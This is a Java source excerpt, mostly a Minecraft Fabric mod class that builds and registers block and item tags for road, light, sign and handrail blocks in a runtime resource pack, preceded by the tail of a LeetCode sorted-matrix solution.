while (j >= 0 && matrix[i][j] > mid) {
j--;
}
// 加上当前行中 <=mid 的元素个数
count += (j + 1);
if (j < 0) {
break;
}
}
if (k <= count) {
end = mid;
} else {
start = mid + 1;
}
}
return start;
}
} | cherryljr/LeetCode | Kth Smallest Element in a Sorted Matrix.java |
65,369 | package pers.solid.mishang.uc.arrp;
import com.google.common.base.Predicates;
import com.google.common.collect.ImmutableSet;
import net.fabricmc.api.EnvType;
import net.fabricmc.api.ModInitializer;
import net.fabricmc.loader.api.FabricLoader;
import net.minecraft.block.Block;
import net.minecraft.block.Blocks;
import net.minecraft.block.SlabBlock;
import net.minecraft.data.server.recipe.RecipeProvider;
import net.minecraft.data.server.recipe.ShapedRecipeJsonBuilder;
import net.minecraft.data.server.recipe.ShapelessRecipeJsonBuilder;
import net.minecraft.data.server.recipe.SingleItemRecipeJsonBuilder;
import net.minecraft.item.Item;
import net.minecraft.item.ItemConvertible;
import net.minecraft.item.Items;
import net.minecraft.recipe.Ingredient;
import net.minecraft.recipe.book.RecipeCategory;
import net.minecraft.registry.RegistryKeys;
import net.minecraft.registry.tag.BlockTags;
import net.minecraft.registry.tag.TagKey;
import net.minecraft.resource.ResourceType;
import net.minecraft.util.Identifier;
import org.apache.commons.lang3.ArrayUtils;
import org.apache.commons.lang3.Validate;
import pers.solid.brrp.v1.BRRPUtils;
import pers.solid.brrp.v1.api.RuntimeResourcePack;
import pers.solid.brrp.v1.fabric.api.SidedRRPCallback;
import pers.solid.brrp.v1.generator.BlockResourceGenerator;
import pers.solid.brrp.v1.generator.ItemResourceGenerator;
import pers.solid.brrp.v1.tag.IdentifiedTagBuilder;
import pers.solid.mishang.uc.MishangUtils;
import pers.solid.mishang.uc.block.*;
import pers.solid.mishang.uc.blocks.*;
/**
* @since 0.1.7 本类应当在 onInitialize 的入口点中执行,而非 pregen 中。
*/
public class ARRPMain implements ModInitializer {
private static final RuntimeResourcePack PACK = RuntimeResourcePack.create(new Identifier("mishanguc", "pack"));
private static IdentifiedTagBuilder<Block> blockTag(String path) {
return IdentifiedTagBuilder.createBlock(new Identifier("mishanguc", path));
}
private static void addTags() {
// mineable 部分;大多数 mineable 标签都是手动生成,目前仅对栏杆部分的 mineable 标签实行自动生成。
final IdentifiedTagBuilder<Block> pickaxeMineable = IdentifiedTagBuilder.createBlock(BlockTags.PICKAXE_MINEABLE);
final IdentifiedTagBuilder<Block> axeMineable = IdentifiedTagBuilder.createBlock(BlockTags.AXE_MINEABLE);
final IdentifiedTagBuilder<Block> needsStoneTool = IdentifiedTagBuilder.createBlock(BlockTags.NEEDS_STONE_TOOL);
final IdentifiedTagBuilder<Block> needsIronTool = IdentifiedTagBuilder.createBlock(BlockTags.NEEDS_IRON_TOOL);
final IdentifiedTagBuilder<Block> needsDiamondTool = IdentifiedTagBuilder.createBlock(BlockTags.NEEDS_DIAMOND_TOOL);
// 道路部分
final IdentifiedTagBuilder<Block> roadBlocks = blockTag("road_blocks");
final IdentifiedTagBuilder<Block> roadSlabs = blockTag("road_slabs");
final IdentifiedTagBuilder<Block> roadMarks = blockTag("road_marks");
// 灯光部分
final IdentifiedTagBuilder<Block> whiteStripWallLights = blockTag("white_strip_wall_lights");
final IdentifiedTagBuilder<Block> whiteWallLights = blockTag("white_wall_lights");
final IdentifiedTagBuilder<Block> whiteCornerLights = blockTag("white_corner_lights");
final IdentifiedTagBuilder<Block> whiteLightDecorations = blockTag("white_light_decorations");
final IdentifiedTagBuilder<Block> whiteColumnLights = blockTag("white_column_lights");
final IdentifiedTagBuilder<Block> yellowStripWallLights = blockTag("yellow_strip_wall_lights");
final IdentifiedTagBuilder<Block> yellowWallLights = blockTag("yellow_wall_lights");
final IdentifiedTagBuilder<Block> yellowCornerLights = blockTag("yellow_corner_lights");
final IdentifiedTagBuilder<Block> yellowLightDecorations = blockTag("yellow_light_decorations");
final IdentifiedTagBuilder<Block> yellowColumnLights = blockTag("yellow_column_lights");
final IdentifiedTagBuilder<Block> orangeStripWallLights = blockTag("orange_strip_wall_lights");
final IdentifiedTagBuilder<Block> orangeWallLights = blockTag("orange_wall_lights");
final IdentifiedTagBuilder<Block> orangeCornerLights = blockTag("orange_corner_lights");
final IdentifiedTagBuilder<Block> orangeLightDecorations = blockTag("orange_light_decorations");
final IdentifiedTagBuilder<Block> orangeColumnLights = blockTag("orange_column_lights");
final IdentifiedTagBuilder<Block> greenStripWallLights = blockTag("green_strip_wall_lights");
final IdentifiedTagBuilder<Block> greenWallLights = blockTag("green_wall_lights");
final IdentifiedTagBuilder<Block> greenCornerLights = blockTag("green_corner_lights");
final IdentifiedTagBuilder<Block> greenLightDecorations = blockTag("green_light_decorations");
final IdentifiedTagBuilder<Block> greenColumnLights = blockTag("green_column_lights");
final IdentifiedTagBuilder<Block> cyanStripWallLights = blockTag("cyan_strip_wall_lights");
final IdentifiedTagBuilder<Block> cyanWallLights = blockTag("cyan_wall_lights");
final IdentifiedTagBuilder<Block> cyanCornerLights = blockTag("cyan_corner_lights");
final IdentifiedTagBuilder<Block> cyanLightDecorations = blockTag("cyan_light_decorations");
final IdentifiedTagBuilder<Block> cyanColumnLights = blockTag("cyan_column_lights");
final IdentifiedTagBuilder<Block> pinkStripWallLights = blockTag("pink_strip_wall_lights");
final IdentifiedTagBuilder<Block> pinkWallLights = blockTag("pink_wall_lights");
final IdentifiedTagBuilder<Block> pinkCornerLights = blockTag("pink_corner_lights");
final IdentifiedTagBuilder<Block> pinkLightDecorations = blockTag("pink_light_decorations");
final IdentifiedTagBuilder<Block> pinkColumnLights = blockTag("pink_column_lights");
final IdentifiedTagBuilder<Block> lightSlabs = blockTag("light_slabs");
final IdentifiedTagBuilder<Block> lightCovers = blockTag("light_covers");
// 墙上的告示牌部分
final IdentifiedTagBuilder<Block> woodenWallSigns = blockTag("wooden_wall_signs");
final IdentifiedTagBuilder<Block> concreteWallSigns = blockTag("concrete_wall_signs");
final IdentifiedTagBuilder<Block> terracottaWallSigns = blockTag("terracotta_wall_signs");
final IdentifiedTagBuilder<Block> wallSigns = blockTag("wall_signs");
final IdentifiedTagBuilder<Block> glowingConcreteWallSigns = blockTag("glowing_concrete_wall_signs");
final IdentifiedTagBuilder<Block> glowingTerracottaWallSigns = blockTag("glowing_terracotta_wall_signs");
final IdentifiedTagBuilder<Block> glowingWallSigns = blockTag("glowing_wall_signs");
final IdentifiedTagBuilder<Block> fullConcreteWallSigns = blockTag("full_concrete_wall_signs");
final IdentifiedTagBuilder<Block> fullTerracottaWallSigns = blockTag("full_terracotta_wall_signs");
final IdentifiedTagBuilder<Block> fullWallSigns = blockTag("full_wall_signs");
// 悬挂的告示牌部分
final IdentifiedTagBuilder<Block> woodenHungSigns = blockTag("wooden_hung_signs");
final IdentifiedTagBuilder<Block> concreteHungSigns = blockTag("concrete_hung_signs");
final IdentifiedTagBuilder<Block> terracottaHungSigns = blockTag("terracotta_hung_signs");
final IdentifiedTagBuilder<Block> hungSigns = blockTag("hung_signs");
final IdentifiedTagBuilder<Block> glowingConcreteHungSigns = blockTag("glowing_concrete_hung_signs");
final IdentifiedTagBuilder<Block> glowingTerracottaHungSigns = blockTag("glowing_terracotta_hung_signs");
final IdentifiedTagBuilder<Block> glowingHungSigns = blockTag("glowing_hung_signs");
// 悬挂的告示牌部分
final IdentifiedTagBuilder<Block> woodenStandingSigns = blockTag("wooden_standing_signs");
final IdentifiedTagBuilder<Block> concreteStandingSigns = blockTag("concrete_standing_signs");
final IdentifiedTagBuilder<Block> terracottaStandingSigns = blockTag("terracotta_standing_signs");
final IdentifiedTagBuilder<Block> standingSigns = blockTag("standing_signs");
final IdentifiedTagBuilder<Block> glowingConcreteStandingSigns = blockTag("glowing_concrete_standing_signs");
final IdentifiedTagBuilder<Block> glowingTerracottaStandingSigns = blockTag("glowing_terracotta_standing_signs");
final IdentifiedTagBuilder<Block> glowingStandingSigns = blockTag("glowing_standing_signs");
// 悬挂的告示牌杆部分
final IdentifiedTagBuilder<Block> woodenHungSignBars = blockTag("wooden_hung_sign_bars");
final IdentifiedTagBuilder<Block> concreteHungSignBars = blockTag("concrete_hung_sign_bars");
final IdentifiedTagBuilder<Block> terracottaHungSignBars = blockTag("terracotta_hung_sign_bars");
final IdentifiedTagBuilder<Block> hungSignBars = blockTag("hung_sign_bars");
// 栏杆部分
final IdentifiedTagBuilder<Block> handrails = blockTag("handrails");
final IdentifiedTagBuilder<Item> handrailItems = IdentifiedTagBuilder.createItem(new Identifier("mishanguc", "handrails"));
final IdentifiedTagBuilder<Block> normalHandrails = blockTag("normal_handrails");
final IdentifiedTagBuilder<Block> centralHandrails = blockTag("central_handrails");
final IdentifiedTagBuilder<Block> cornerHandrails = blockTag("corner_handrails");
final IdentifiedTagBuilder<Block> outerHandrails = blockTag("outer_handrails");
final IdentifiedTagBuilder<Block> stairHandrails = blockTag("stair_handrails");
// 混凝土栏杆部分
final IdentifiedTagBuilder<Block> simpleConcreteHandrails = blockTag("simple_concrete_handrails");
final IdentifiedTagBuilder<Block> simpleConcreteNormalHandrails = blockTag("simple_concrete_normal_handrails");
final IdentifiedTagBuilder<Block> simpleConcreteCentralHandrails = blockTag("simple_concrete_central_handrails");
final IdentifiedTagBuilder<Block> simpleConcreteCornerHandrails = blockTag("simple_concrete_corner_handrails");
final IdentifiedTagBuilder<Block> simpleConcreteOuterHandrails = blockTag("simple_concrete_outer_handrails");
final IdentifiedTagBuilder<Block> simpleConcreteStairHandrails = blockTag("simple_concrete_stair_handrails");
// 陶瓦栏杆部分
final IdentifiedTagBuilder<Block> simpleTerracottaHandrails = blockTag("simple_terracotta_handrails");
final IdentifiedTagBuilder<Block> simpleTerracottaNormalHandrails = blockTag("simple_terracotta_normal_handrails");
final IdentifiedTagBuilder<Block> simpleTerracottaCentralHandrails = blockTag("simple_terracotta_central_handrails");
final IdentifiedTagBuilder<Block> simpleTerracottaCornerHandrails = blockTag("simple_terracotta_corner_handrails");
final IdentifiedTagBuilder<Block> simpleTerracottaOuterHandrails = blockTag("simple_terracotta_outer_handrails");
final IdentifiedTagBuilder<Block> simpleTerracottaStairHandrails = blockTag("simple_terracotta_stair_handrails");
// 染色玻璃栏杆部分
final IdentifiedTagBuilder<Block> simpleStainedGlassHandrails = blockTag("simple_stained_glass_handrails");
final IdentifiedTagBuilder<Block> simpleStainedGlassNormalHandrails = blockTag("simple_stained_glass_normal_handrails");
final IdentifiedTagBuilder<Block> simpleStainedGlassCentralHandrails = blockTag("simple_stained_glass_central_handrails");
final IdentifiedTagBuilder<Block> simpleStainedGlassCornerHandrails = blockTag("simple_stained_glass_corner_handrails");
final IdentifiedTagBuilder<Block> simpleStainedGlassOuterHandrails = blockTag("simple_stained_glass_outer_handrails");
final IdentifiedTagBuilder<Block> simpleStainedGlassStairHandrails = blockTag("simple_stained_glass_stair_handrails");
// 染色木头部分
final IdentifiedTagBuilder<Block> simpleWoodenHandrails = blockTag("simple_wooden_handrails");
final IdentifiedTagBuilder<Block> simpleWoodenNormalHandrails = blockTag("simple_wooden_normal_handrails");
final IdentifiedTagBuilder<Block> simpleWoodenCentralHandrails = blockTag("simple_wooden_central_handrails");
final IdentifiedTagBuilder<Block> simpleWoodenCornerHandrails = blockTag("simple_wooden_corner_handrails");
final IdentifiedTagBuilder<Block> simpleWoodenOuterHandrails = blockTag("simple_wooden_outer_handrails");
final IdentifiedTagBuilder<Block> simpleWoodenStairHandrails = blockTag("simple_wooden_stair_handrails");
// 玻璃栏杆部分
final IdentifiedTagBuilder<Block> glassHandrails = blockTag("glass_handrails");
final IdentifiedTagBuilder<Block> glassNormalHandrails = blockTag("glass_normal_handrails");
final IdentifiedTagBuilder<Block> glassCentralHandrails = blockTag("glass_central_handrails");
final IdentifiedTagBuilder<Block> glassCornerHandrails = blockTag("glass_corner_handrails");
final IdentifiedTagBuilder<Block> glassOuterHandrails = blockTag("glass_outer_handrails");
final IdentifiedTagBuilder<Block> glassStairHandrails = blockTag("glass_stair_handrails");
// 道路部分
MishangUtils.instanceStream(RoadBlocks.class, Block.class).forEach(
block -> {
if (block instanceof AbstractRoadBlock) {
roadBlocks.add(block);
}
}
);
RoadSlabBlocks.SLABS.forEach(
block -> {
if (block != null) {
roadSlabs.add(block);
}
}
);
MishangUtils.instanceStream(RoadMarkBlocks.class, Block.class).forEach(roadMarks::add);
// 灯光部分
MishangUtils.instanceStream(LightBlocks.class, Block.class).forEach(
block -> {
if (block instanceof StripWallLightBlock) {
switch (((StripWallLightBlock) block).lightColor) {
case "white" ->
whiteStripWallLights.add(block);
case "yellow" ->
yellowStripWallLights.add(block);
case "cyan" ->
cyanStripWallLights.add(block);
case "orange" ->
orangeStripWallLights.add(block);
case "green" ->
greenStripWallLights.add(block);
case "pink" ->
pinkStripWallLights.add(block);
}
} else if (block instanceof AutoConnectWallLightBlock) {
switch (((AutoConnectWallLightBlock) block).lightColor) {
case "white" ->
whiteLightDecorations.add(block);
case "yellow" ->
yellowLightDecorations.add(block);
case "cyan" ->
cyanLightDecorations.add(block);
case "orange" ->
orangeLightDecorations.add(block);
case "green" ->
greenLightDecorations.add(block);
case "pink" ->
pinkLightDecorations.add(block);
}
} else if (block instanceof ColumnLightBlock || block instanceof ColumnWallLightBlock) {
switch (block instanceof ColumnLightBlock ? ((ColumnLightBlock) block).lightColor : ((ColumnWallLightBlock) block).lightColor) {
case "white" ->
whiteColumnLights.add(block);
case "yellow" ->
yellowColumnLights.add(block);
case "cyan" ->
cyanColumnLights.add(block);
case "orange" ->
orangeColumnLights.add(block);
case "green" ->
greenColumnLights.add(block);
case "pink" ->
pinkColumnLights.add(block);
}
} else if (block instanceof WallLightBlock) {
switch (((WallLightBlock) block).lightColor) {
case "white" ->
whiteWallLights.add(block);
case "yellow" ->
yellowWallLights.add(block);
case "cyan" ->
cyanWallLights.add(block);
case "orange" ->
orangeWallLights.add(block);
case "green" ->
greenWallLights.add(block);
case "pink" ->
pinkWallLights.add(block);
}
} else if (block instanceof CornerLightBlock) {
switch (((CornerLightBlock) block).lightColor) {
case "white" ->
whiteCornerLights.add(block);
case "yellow" ->
yellowCornerLights.add(block);
case "cyan" ->
cyanCornerLights.add(block);
case "orange" ->
orangeCornerLights.add(block);
case "green" ->
greenCornerLights.add(block);
case "pink" ->
pinkCornerLights.add(block);
}
}
if (block instanceof SlabBlock) {
lightSlabs.add(block);
} else if (block instanceof LightCoverBlock) {
lightCovers.add(block);
}
}
);
// 悬挂的告示牌部分
MishangUtils.instanceStream(HungSignBlocks.class, Block.class).forEach(block -> {
if (block instanceof GlowingHungSignBlock) {
if (MishangUtils.isConcrete(((GlowingHungSignBlock) block).baseBlock)) {
glowingConcreteHungSigns.add(block);
} else if (MishangUtils.isTerracotta(((GlowingHungSignBlock) block).baseBlock)) {
glowingTerracottaHungSigns.add(block);
} else {
glowingHungSigns.add(block);
}
} else if (block instanceof HungSignBlock) {
if (MishangUtils.isConcrete(((HungSignBlock) block).baseBlock)) {
concreteHungSigns.add(block);
} else if (MishangUtils.isTerracotta(((HungSignBlock) block).baseBlock)) {
terracottaHungSigns.add(block);
} else if (MishangUtils.isPlanks(((HungSignBlock) block).baseBlock)) {
woodenHungSigns.add(block);
} else {
hungSigns.add(block);
}
} else if (block instanceof HungSignBarBlock) {
if (MishangUtils.isConcrete(((HungSignBarBlock) block).baseBlock)) {
concreteHungSignBars.add(block);
} else if (MishangUtils.isTerracotta(((HungSignBarBlock) block).baseBlock)) {
terracottaHungSignBars.add(block);
} else if (MishangUtils.isWood(((HungSignBarBlock) block).baseBlock)) {
woodenHungSignBars.add(block);
} else {
hungSignBars.add(block);
}
}
});
// 墙上的告示牌部分
MishangUtils.instanceStream(WallSignBlocks.class, Block.class).forEach(block -> {
if (block instanceof GlowingWallSignBlock) {
if (MishangUtils.isConcrete(((GlowingWallSignBlock) block).baseBlock)) {
glowingConcreteWallSigns.add(block);
} else if (MishangUtils.isTerracotta(((GlowingWallSignBlock) block).baseBlock)) {
glowingTerracottaWallSigns.add(block);
} else {
glowingWallSigns.add(block);
}
} else if (block instanceof FullWallSignBlock) {
if (MishangUtils.isConcrete(((FullWallSignBlock) block).baseBlock)) {
fullConcreteWallSigns.add(block);
} else if (MishangUtils.isTerracotta(((FullWallSignBlock) block).baseBlock)) {
fullTerracottaWallSigns.add(block);
} else {
fullWallSigns.add(block);
}
} else if (block instanceof WallSignBlock) {
if (MishangUtils.isConcrete(((WallSignBlock) block).baseBlock)) {
concreteWallSigns.add(block);
} else if (MishangUtils.isTerracotta(((WallSignBlock) block).baseBlock)) {
terracottaWallSigns.add(block);
} else if (MishangUtils.isPlanks(((WallSignBlock) block).baseBlock)) {
woodenWallSigns.add(block);
} else {
wallSigns.add(block);
}
}
});
MishangUtils.instanceStream(StandingSignBlocks.class, Block.class).forEach(block -> {
if (block instanceof GlowingStandingSignBlock glowingStandingSignBlock) {
if (MishangUtils.isConcrete(glowingStandingSignBlock.baseBlock)) {
glowingConcreteStandingSigns.add(block);
} else if (MishangUtils.isTerracotta(glowingStandingSignBlock.baseBlock)) {
glowingTerracottaStandingSigns.add(block);
} else {
glowingStandingSigns.add(block);
}
} else if (block instanceof StandingSignBlock standingSignBlock) {
if (MishangUtils.isConcrete(standingSignBlock.baseBlock)) {
concreteStandingSigns.add(block);
} else if (MishangUtils.isTerracotta(standingSignBlock.baseBlock)) {
terracottaStandingSigns.add(block);
} else if (MishangUtils.isPlanks(standingSignBlock.baseBlock) || MishangUtils.isWood(standingSignBlock.baseBlock)) {
woodenStandingSigns.add(block);
} else {
standingSigns.add(block);
}
}
});
// 栏杆部分
MishangUtils.instanceStream(HandrailBlocks.class, Block.class).forEach(block -> {
if (block instanceof SimpleHandrailBlock simpleHandrailBlock) {
if (MishangUtils.isStained_glass(simpleHandrailBlock.baseBlock)) {
simpleStainedGlassNormalHandrails.add(simpleHandrailBlock);
simpleStainedGlassCentralHandrails.add(simpleHandrailBlock.central);
simpleStainedGlassCornerHandrails.add(simpleHandrailBlock.corner);
simpleStainedGlassOuterHandrails.add(simpleHandrailBlock.outer);
simpleStainedGlassStairHandrails.add(simpleHandrailBlock.stair);
} else if (MishangUtils.isConcrete(simpleHandrailBlock.baseBlock)) {
simpleConcreteNormalHandrails.add(simpleHandrailBlock);
simpleConcreteCentralHandrails.add(simpleHandrailBlock.central);
simpleConcreteCornerHandrails.add(simpleHandrailBlock.corner);
simpleConcreteOuterHandrails.add(simpleHandrailBlock.outer);
simpleConcreteStairHandrails.add(simpleHandrailBlock.stair);
} else if (MishangUtils.isTerracotta(simpleHandrailBlock.baseBlock)) {
simpleTerracottaNormalHandrails.add(simpleHandrailBlock);
simpleTerracottaCentralHandrails.add(simpleHandrailBlock.central);
simpleTerracottaCornerHandrails.add(simpleHandrailBlock.corner);
simpleTerracottaOuterHandrails.add(simpleHandrailBlock.outer);
simpleTerracottaStairHandrails.add(simpleHandrailBlock.stair);
} else if (MishangUtils.isWood(simpleHandrailBlock.baseBlock) || MishangUtils.isPlanks(simpleHandrailBlock.baseBlock)) {
simpleWoodenNormalHandrails.add(simpleHandrailBlock);
simpleWoodenCentralHandrails.add(simpleHandrailBlock.central);
simpleWoodenCornerHandrails.add(simpleHandrailBlock.corner);
simpleWoodenOuterHandrails.add(simpleHandrailBlock.outer);
simpleWoodenStairHandrails.add(simpleHandrailBlock.stair);
} else {
handrailItems.add(simpleHandrailBlock.asItem());
normalHandrails.add(simpleHandrailBlock);
centralHandrails.add(simpleHandrailBlock.central);
cornerHandrails.add(simpleHandrailBlock.corner);
outerHandrails.add(simpleHandrailBlock.outer);
stairHandrails.add(simpleHandrailBlock.stair);
}
} else if (block instanceof GlassHandrailBlock glassHandrailBlock) {
glassNormalHandrails.add(glassHandrailBlock);
glassCentralHandrails.add(glassHandrailBlock.central());
glassCornerHandrails.add(glassHandrailBlock.corner());
glassOuterHandrails.add(glassHandrailBlock.outer());
glassStairHandrails.add(glassHandrailBlock.stair());
final Block[] blocks = glassHandrailBlock.selfAndVariants();
final Block baseBlock = glassHandrailBlock.baseBlock();
if (MishangUtils.isWood(baseBlock) || MishangUtils.isPlanks(baseBlock)) {
axeMineable.add(blocks);
} else {
pickaxeMineable.add(blocks);
if (baseBlock == Blocks.GOLD_BLOCK || baseBlock == Blocks.EMERALD_BLOCK || baseBlock == Blocks.DIAMOND_BLOCK) {
needsIronTool.add(blocks);
} else if (baseBlock == Blocks.OBSIDIAN || baseBlock == Blocks.CRYING_OBSIDIAN || baseBlock == Blocks.NETHERITE_BLOCK) {
needsDiamondTool.add(blocks);
} else if (baseBlock == Blocks.IRON_BLOCK || baseBlock == Blocks.LAPIS_BLOCK) {
needsStoneTool.add(blocks);
}
}
}
});
simpleStainedGlassHandrails
.addTag(simpleStainedGlassNormalHandrails)
.addTag(simpleStainedGlassCentralHandrails)
.addTag(simpleStainedGlassCornerHandrails)
.addTag(simpleStainedGlassOuterHandrails)
.addTag(simpleStainedGlassStairHandrails);
simpleConcreteHandrails
.addTag(simpleConcreteNormalHandrails)
.addTag(simpleConcreteCentralHandrails)
.addTag(simpleConcreteCornerHandrails)
.addTag(simpleConcreteOuterHandrails)
.addTag(simpleConcreteStairHandrails);
simpleTerracottaHandrails
.addTag(simpleTerracottaNormalHandrails)
.addTag(simpleTerracottaCentralHandrails)
.addTag(simpleTerracottaCornerHandrails)
.addTag(simpleTerracottaOuterHandrails)
.addTag(simpleTerracottaStairHandrails);
simpleWoodenHandrails
.addTag(simpleWoodenNormalHandrails)
.addTag(simpleWoodenCentralHandrails)
.addTag(simpleWoodenCornerHandrails)
.addTag(simpleWoodenOuterHandrails)
.addTag(simpleWoodenStairHandrails);
normalHandrails
.addTag(glassNormalHandrails)
.addTag(simpleStainedGlassNormalHandrails)
.addTag(simpleTerracottaNormalHandrails)
.addTag(simpleConcreteNormalHandrails)
.addTag(simpleWoodenNormalHandrails);
handrailItems
.addTag(simpleStainedGlassHandrails.identifier)
.addTag(simpleTerracottaHandrails.identifier)
.addTag(simpleConcreteHandrails.identifier)
.addTag(simpleWoodenHandrails.identifier);
centralHandrails
.addTag(glassCentralHandrails)
.addTag(simpleStainedGlassCentralHandrails)
.addTag(simpleTerracottaCentralHandrails)
.addTag(simpleConcreteCentralHandrails)
.addTag(simpleWoodenCentralHandrails);
cornerHandrails
.addTag(glassCornerHandrails)
.addTag(simpleStainedGlassCornerHandrails)
.addTag(simpleTerracottaCornerHandrails)
.addTag(simpleConcreteCornerHandrails)
.addTag(simpleWoodenCornerHandrails);
outerHandrails
.addTag(glassOuterHandrails)
.addTag(simpleStainedGlassOuterHandrails)
.addTag(simpleTerracottaOuterHandrails)
.addTag(simpleConcreteOuterHandrails)
.addTag(simpleWoodenOuterHandrails);
stairHandrails
.addTag(glassStairHandrails)
.addTag(simpleStainedGlassStairHandrails)
.addTag(simpleTerracottaStairHandrails)
.addTag(simpleConcreteStairHandrails)
.addTag(simpleWoodenStairHandrails);
glassHandrails.addTag(glassNormalHandrails, glassCentralHandrails, glassCornerHandrails, glassOuterHandrails, glassStairHandrails);
handrails
.addTag(normalHandrails)
.addTag(centralHandrails)
.addTag(cornerHandrails)
.addTag(outerHandrails)
.addTag(stairHandrails);
// mineable 部分
registerTagBlockOnly(pickaxeMineable);
registerTagBlockOnly(axeMineable);
registerTagBlockOnly(needsDiamondTool);
registerTagBlockOnly(needsIronTool);
registerTagBlockOnly(needsStoneTool);
// 道路部分
registerTag(roadBlocks, roadSlabs, roadMarks);
// 灯光部分
whiteWallLights.addTag(whiteStripWallLights);
yellowWallLights.addTag(yellowStripWallLights);
cyanWallLights.addTag(cyanStripWallLights);
orangeWallLights.addTag(orangeStripWallLights);
greenWallLights.addTag(greenStripWallLights);
pinkWallLights.addTag(pinkStripWallLights);
registerTag(
whiteWallLights, whiteStripWallLights, whiteCornerLights, whiteLightDecorations,
yellowWallLights, yellowStripWallLights, yellowCornerLights, yellowLightDecorations,
cyanWallLights, cyanStripWallLights, cyanCornerLights, cyanLightDecorations,
orangeWallLights, orangeStripWallLights, orangeCornerLights, orangeLightDecorations,
greenWallLights, greenStripWallLights, greenCornerLights, greenLightDecorations,
pinkWallLights, pinkStripWallLights, pinkCornerLights, pinkLightDecorations,
whiteColumnLights, yellowColumnLights, cyanColumnLights, orangeColumnLights, pinkColumnLights, greenColumnLights
);
registerTag(lightSlabs);
registerTag(lightCovers);
// 墙上的告示牌部分
wallSigns
.addTag(woodenWallSigns)
.addTag(concreteWallSigns)
.addTag(terracottaWallSigns);
glowingWallSigns
.addTag(glowingConcreteWallSigns)
.addTag(glowingTerracottaWallSigns);
fullWallSigns
.addTag(fullConcreteWallSigns)
.addTag(fullTerracottaWallSigns);
registerTag(woodenWallSigns);
registerTag(concreteWallSigns);
registerTag(terracottaWallSigns);
registerTag(wallSigns);
registerTag(glowingConcreteWallSigns);
registerTag(glowingTerracottaWallSigns);
registerTag(glowingWallSigns);
registerTag(fullConcreteWallSigns);
registerTag(fullTerracottaWallSigns);
registerTag(fullWallSigns);
registerTagBlockOnly(handrails);
registerTagBlockOnly(normalHandrails);
PACK.addTag(handrailItems);
registerTagBlockOnly(centralHandrails);
registerTagBlockOnly(cornerHandrails);
registerTagBlockOnly(outerHandrails);
registerTagBlockOnly(stairHandrails);
registerTagBlockOnly(simpleConcreteHandrails);
registerTagBlockOnly(simpleConcreteNormalHandrails);
PACK.addTag(new Identifier("mishanguc", "items/simple_concrete_handrails"), simpleConcreteNormalHandrails);
registerTagBlockOnly(simpleConcreteCentralHandrails);
registerTagBlockOnly(simpleConcreteCornerHandrails);
registerTagBlockOnly(simpleConcreteOuterHandrails);
registerTagBlockOnly(simpleConcreteStairHandrails);
registerTagBlockOnly(simpleTerracottaHandrails);
registerTagBlockOnly(simpleTerracottaNormalHandrails);
PACK.addTag(TagKey.of(RegistryKeys.ITEM, new Identifier("mishanguc", "simple_terracotta_handrails")), simpleTerracottaNormalHandrails);
registerTagBlockOnly(simpleTerracottaCentralHandrails);
registerTagBlockOnly(simpleTerracottaCornerHandrails);
registerTagBlockOnly(simpleTerracottaOuterHandrails);
registerTagBlockOnly(simpleTerracottaStairHandrails);
registerTagBlockOnly(simpleStainedGlassHandrails);
registerTagBlockOnly(simpleStainedGlassNormalHandrails);
PACK.addTag(TagKey.of(RegistryKeys.ITEM, new Identifier("mishanguc", "simple_stained_glass_handrails")), simpleStainedGlassNormalHandrails);
registerTagBlockOnly(simpleStainedGlassCentralHandrails);
registerTagBlockOnly(simpleStainedGlassCornerHandrails);
registerTagBlockOnly(simpleStainedGlassOuterHandrails);
registerTagBlockOnly(simpleStainedGlassStairHandrails);
registerTagBlockOnly(simpleWoodenHandrails);
registerTagBlockOnly(simpleWoodenNormalHandrails);
PACK.addTag(TagKey.of(RegistryKeys.ITEM, new Identifier("mishanguc", "simple_wooden_handrails")), simpleWoodenNormalHandrails);
registerTagBlockOnly(simpleWoodenCentralHandrails);
registerTagBlockOnly(simpleWoodenCornerHandrails);
registerTagBlockOnly(simpleWoodenOuterHandrails);
registerTagBlockOnly(simpleWoodenStairHandrails);
registerTagBlockOnly(glassHandrails);
registerTagBlockOnly(glassNormalHandrails);
PACK.addTag(TagKey.of(RegistryKeys.ITEM, new Identifier("mishanguc", "glass_handrails")), glassNormalHandrails);
registerTagBlockOnly(glassCentralHandrails);
registerTagBlockOnly(glassCornerHandrails);
registerTagBlockOnly(glassOuterHandrails);
registerTagBlockOnly(glassStairHandrails);
// 悬挂的告示牌部分
hungSigns
.addTag(woodenHungSigns)
.addTag(concreteHungSigns)
.addTag(terracottaHungSigns);
glowingHungSigns
.addTag(glowingConcreteHungSigns)
.addTag(glowingTerracottaHungSigns);
hungSignBars
.addTag(woodenHungSignBars)
.addTag(concreteHungSignBars)
.addTag(terracottaHungSignBars);
standingSigns.addTag(woodenStandingSigns, concreteStandingSigns, terracottaStandingSigns);
glowingStandingSigns.addTag(glowingConcreteStandingSigns, glowingTerracottaStandingSigns);
registerTag(woodenHungSigns);
registerTag(concreteHungSigns);
registerTag(terracottaHungSigns);
registerTag(hungSigns);
registerTag(glowingConcreteHungSigns);
registerTag(glowingTerracottaHungSigns);
registerTag(glowingHungSigns);
registerTag(woodenHungSignBars);
registerTag(concreteHungSignBars);
registerTag(terracottaHungSignBars);
registerTag(hungSignBars);
registerTag(woodenStandingSigns, concreteStandingSigns, terracottaStandingSigns, glowingConcreteStandingSigns, glowingTerracottaStandingSigns, standingSigns, glowingStandingSigns);
// 染色方块部分
final IdentifiedTagBuilder<Block> colored = blockTag("colored");
MishangUtils.blocks().stream().filter(Predicates.instanceOf(ColoredBlock.class)).forEach(colored::add);
registerTag(colored);
}
private static void registerTag(IdentifiedTagBuilder<Block> blockTag) {
PACK.addTag(blockTag);
PACK.addTag(blockTag.identifier.brrp_prefixed("items/"), blockTag);
}
@SafeVarargs
private static void registerTag(IdentifiedTagBuilder<Block>... tags) {
for (IdentifiedTagBuilder<Block> tag : tags) {
registerTag(tag);
}
}
private static void registerTagBlockOnly(IdentifiedTagBuilder<Block> tag) {
PACK.addTag(tag.identifier.brrp_prefixed("blocks/"), tag);
}
private static void registerTagItemOnly(IdentifiedTagBuilder<Block> tag) {
PACK.addTag(tag.identifier.brrp_prefixed("items/"), tag);
}
/**
* 为运行时资源包生成资源。在开发环境中,每次加载资源就会重新生成一次。在非开发环境中,游戏开始时生成一次,此后不再生成。
*/
private static void generateResources(boolean includesClient, boolean includesServer) {
if (FabricLoader.getInstance().getEnvironmentType() != EnvType.CLIENT) {
Validate.isTrue(!includesClient, "The parameter 'includesClient' cannot be true when in dedicated server!", ArrayUtils.EMPTY_OBJECT_ARRAY);
}
if (includesClient)
PACK.clearResources(ResourceType.CLIENT_RESOURCES);
if (includesServer)
